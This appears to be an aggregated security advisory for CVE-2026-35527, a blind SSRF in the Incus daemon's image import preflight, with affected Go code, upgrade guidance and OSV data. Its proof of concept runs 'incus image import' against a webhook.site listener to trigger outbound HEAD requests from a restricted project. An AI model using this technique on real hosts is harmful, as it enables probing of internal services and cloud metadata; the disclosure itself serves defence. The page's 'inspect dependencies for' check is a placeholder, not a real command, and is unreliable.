CVE-2026-35527: Github.com/lxc/incus/v6/cmd/incusd Incus Has Blind SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-8gw4-p4wq-4hcv
CVSS 4.3
CWE-918
Published
Advisory Summary

CVE-2026-35527 is a MODERATE (CVSS 4.3) incus has blind ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/lxc/incus/v6/cmd/incusd libraries in the Go ecosystem. The issue involves incus has blind ssrf via image import preflight head. Remediation is available by upgrading affected packages to version 7.0.0.

CVE-2026-35527 at a Glance

CVE Identifier CVE-2026-35527
GHSA Identifier GHSA-8gw4-p4wq-4hcv
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/lxc/incus/v6/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-35527

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6/cmd/incusd fixed: 7.0.0
Upgrade github.com/lxc/incus/v6/cmd/incusd to 7.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35527, inspect your project dependencies for Github.com/lxc/incus/v6/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/lxc/incus/v6/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A partial implementation of our `restricted.images.servers` project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints. The actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment. ### Details The image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata. A host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767. Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go Affected Code: ``` func imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) { [...] head, err := http.NewRequest("HEAD", req.Source.URL, nil) if err != nil { return nil, err } [...] head.Header.Set("User-Agent", version.UserAgent) head.Header.Set("Incus-Server-Architectures", strings.Join(architectures, ", ")) head.Header.Set("Incus-Server-Version", version.Version) raw, err := myhttp.Do(head) if err != nil { return nil, err } hash := raw.Header.Get("Incus-Image-Hash") if hash == "" { return nil, errors.New("Missing Incus-Image-Hash header") } url := raw.Header.Get("Incus-Image-URL") if url == "" { return nil, errors.New("Missing Incus-Image-URL header") } info, _, err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{ Server: url, Protocol: "direct", Alias: hash, AutoUpdate: req.AutoUpdate, Public: req.Public, ProjectName: project, Budget: budget, }) [...] } ``` The following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage. Step 1: Select the reproduction project From an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy. Command: ``` incus project switch restricted ``` Step 2: Trigger the preflight request to an arbitrary URL From the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request. Command: ``` incus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image ``` Result: ``` Error: Missing Incus-Image-Hash header ``` Step 3: Verify the outbound HEAD request in the external listener In the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0. Result: ``` HEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1 Host: webhook.site User-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1) Incus-Server-Version: 6.22 Incus-Server-Architectures: x86_64, i686 ``` It is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic. ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

CVE-2026-35527 Affected Github.com/lxc/incus/v6/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.0.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6/cmd/incusd
Go
< 7.0.0
7.0.0

References

Frequently Asked Questions

What is CVE-2026-35527?
CVE-2026-35527 is a security vulnerability in Github.com/lxc/incus/v6/cmd/incusd involving Incus has Blind SSRF via Image Import Preflight HEAD under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/lxc/incus/v6/cmd/incusd versions are affected?
Affected versions include releases prior to 7.0.0 across affected packages: github.com/lxc/incus/v6/cmd/incusd.
What version fixes CVE-2026-35527?
Upgrading to 7.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6/cmd/incusd affected?
Yes, github.com/lxc/incus/v6/cmd/incusd is affected in releases prior to 7.0.0. Upgrade your dependency to 7.0.0 or later.
What is the CVSS score of CVE-2026-35527?
CVE-2026-35527 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-35527?
CVE-2026-35527 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-35527?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8gw4-p4wq-4hcv",
  "modified" : "2026-05-08T15:30:49Z",
  "published" : "2026-05-04T16:53:01Z",
  "aliases" : [ "CVE-2026-35527" ],
  "summary" : "Incus has Blind SSRF via Image Import Preflight HEAD",
  "details" : "### Summary\nA partial implementation of our `restricted.images.servers` project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.\n\nThe actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.\n\n### Details\nThe image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.\n\nA host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go \n\nAffected Code:\n```\nfunc imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {\n    [...]\n    head, err := http.NewRequest(\"HEAD\", req.Source.URL, nil)\n    if err != nil {\n        return nil, err\n    }\n\n    [...]\n\n\n    head.Header.Set(\"User-Agent\", version.UserAgent)\n    head.Header.Set(\"Incus-Server-Architectures\", strings.Join(architectures, \", \"))\n    head.Header.Set(\"Incus-Server-Version\", version.Version)\n\n    raw, err := myhttp.Do(head)\n    if err != nil {\n        return nil, err\n    }\n\n    hash := raw.Header.Get(\"Incus-Image-Hash\")\n    if hash == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-Hash header\")\n    }\n\n    url := raw.Header.Get(\"Incus-Image-URL\")\n    if url == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-URL header\")\n    }\n\n    info, _, err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{\n        Server:      url,\n        Protocol:    \"direct\",\n        Alias:       hash,\n        AutoUpdate:  req.AutoUpdate,\n        Public:      req.Public,\n        ProjectName: project,\n        Budget:      budget,\n    })\n    [...]\n}\n```\n\nThe following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.\n\nStep 1: Select the reproduction project\n\nFrom an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.\n\nCommand:\n```\nincus project switch restricted\n```\n\nStep 2: Trigger the preflight request to an arbitrary URL\n\nFrom the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.\n\nCommand:\n```\nincus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image\n```\n\nResult:\n```\nError: Missing Incus-Image-Hash header\n```\n\nStep 3: Verify the outbound HEAD request in the external listener\n\nIn the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.\n\nResult:\n```\nHEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1\nHost: webhook.site\nUser-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)\nIncus-Server-Version: 6.22\nIncus-Server-Architectures: x86_64, i686\n```\n\nIt is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35527"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T16:53:01Z",
    "nvd_published_at" : "2026-05-05T21:16:22Z"
  }
}